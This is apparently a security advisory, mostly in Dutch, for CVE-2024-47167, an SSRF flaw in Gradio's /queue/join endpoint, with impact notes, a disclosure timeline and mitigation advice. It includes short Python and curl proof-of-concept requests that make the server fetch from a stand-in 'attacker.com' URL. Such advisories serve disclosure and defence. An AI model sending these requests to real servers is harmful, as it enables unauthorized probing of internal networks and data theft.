Gradio kwetsbaar voor SSRF in de padparameter van /queue/join

De SSRF-kwetsbaarheid in Gradio maakt het mogelijk voor een aanvaller om de Gradio-server te misbruiken om HTTP-verzoeken naar willekeurige URL's te sturen. Dit kan leiden tot toegang tot interne netwerkdiensten die normaal gesproken niet toegankelijk zijn vanaf het internet. Een aanvaller kan bijvoorbeeld interne API's benaderen, gevoelige data ophalen of zelfs pogingen doen om interne systemen te exploiteren. De opgeslagen content van de externe URL's verhoogt het risico op het uploaden van kwaadaardige bestanden naar de server. De impact is aanzienlijk, aangezien een succesvolle exploitatie kan leiden tot data-exfiltratie, compromittering van interne systemen en potentieel verdere aanvalsmogelijkheden.

Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.

• python / gradio:

import requests
import urllib3

http = urllib3.PoolManager()

try:
    response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
    print(response.status)
except Exception as e:
    print(f"Error: {e}")

• generic web:

curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'

1. 2024-10-10Disclosure

   disclosure

1. Gereserveerd2024-09-19
2. Gepubliceerd2024-10-10
3. Gewijzigd2025-01-21
4. EPSS bijgewerkt2026-04-02

De primaire mitigatie voor CVE-2024-47167 is het upgraden van Gradio naar versie 5.0.0 of hoger. Als een directe upgrade niet mogelijk is, overweeg dan tijdelijke maatregelen zoals het implementeren van een Web Application Firewall (WAF) om verzoeken naar de /queue/join endpoint te filteren en te blokkeren. Configureer de WAF om verzoeken met onbekende of verdachte URL's te blokkeren. Controleer ook de Gradio configuratie om te zorgen dat er geen onnodige toegang tot interne netwerkdiensten wordt verleend. Na de upgrade, bevestig de fix door een testverzoek naar de /queue/join endpoint te sturen met een externe URL en controleer of dit wordt geblokkeerd.